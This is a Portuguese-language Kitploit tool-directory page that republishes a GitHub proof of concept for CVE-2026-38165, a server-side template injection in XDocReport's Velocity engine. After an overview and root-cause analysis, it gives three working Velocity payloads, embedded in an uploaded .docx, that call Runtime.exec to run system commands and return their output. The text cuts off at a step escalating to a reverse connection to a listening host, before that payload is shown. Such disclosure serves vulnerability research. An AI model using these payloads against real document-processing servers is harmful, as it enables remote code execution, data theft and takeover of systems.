Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
Ferramentas/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

Ver Repositório
156há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-38165 (SSTI Velocity)

Injeção de Template do Lado do Servidor (SSTI) no XDocReport permite Execução Remota de Código via mecanismo Apache Velocity

Definição da Vulnerabilidade

Visão geral da vulnerabilidade

  • Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a um atacante injetar código malicioso em modelos (templates) usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, com o objetivo de realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão de sistemas.

  • SSTI é uma variante de vulnerabilidade de Injeção (como SQL Injection, XSS, etc.), na qual o atacante aproveita o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o atacante pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão de sistemas e acessar recursos não autorizados.

  • A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou à falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos modelos. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar danos significativos à organização atacada.

Impacto nos negócios

  • A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:

  • Execução de código malicioso: O atacante pode explorar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema, ou até mesmo controle total do servidor.

  • Exposição de informações sensíveis: A SSTI pode permitir que o atacante leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o atacante pode facilmente expor essas informações.

  • Ataques de ameaça ou engenharia social: O atacante pode usar SSTI para realizar ataques de ameaça ou phishing, alterando o conteúdo do site ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o atacante pode roubar informações do usuário ou instalar software malicioso em seu computador.

Severidade CRÍTICA

image

Descrição e Impacto

fr.opensagres.xdocreport.template.velocity

Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo velocity. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).

O site de gerenciamento de RH permite que o usuário faça upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação utiliza o mecanismo de template velocity (no arquivo) para renderizar o conteúdo sem qualquer mecanismo de controle ou filtragem do conteúdo de entrada. Essa vulnerabilidade permite que o atacante insira expressões maliciosas no arquivo .docx (template), resultando em Execução Remota de Código (RCE) no servidor, podendo ser explorada para roubar informações ou assumir o controle do sistema.

Componente afetado

fr.opensagres.xdocreport.template.velocity — XDocReport (versões =< 2.1.0).

Análise da causa raiz

https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

image

velocityEngine.evaluate(...) é o método padrão do Apache Velocity para avaliar (evaluate) um template a partir de um Reader (ou de uma String) usando um Context e escrever em um Writer. Ele executa a sintaxe VTL (Velocity Template Language) da mesma forma que Template.merge(...)

Diferença real entre evaluate e Template.merge

  • evaluate: faz parse a partir de Reader/String → útil quando o template é dinâmico/não confiável.

  • getTemplate(...).merge(...): carrega o template já processado pelo resource loader (caching, encoding…), depois faz merge. Em termos de capacidade de execução VTL, ambos executam as mesmas expressões; a diferença principal é no local/modo de carregamento do template.

Passos para reproduzir

  1. O usuário faz upload de um arquivo .docx com o seguinte payload interno:

image

#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  1. Observa-se que é possível executar com sucesso o comando do sistema

image

  1. Similarmente com o seguinte payload:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

image

  1. Similarmente
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

  1. Elevando o impacto para RCE
  • A máquina de escuta é wsl com endereço IP 172.26.208.130

image

  • Exploração com o seguinte payload:
Baixar ferramenta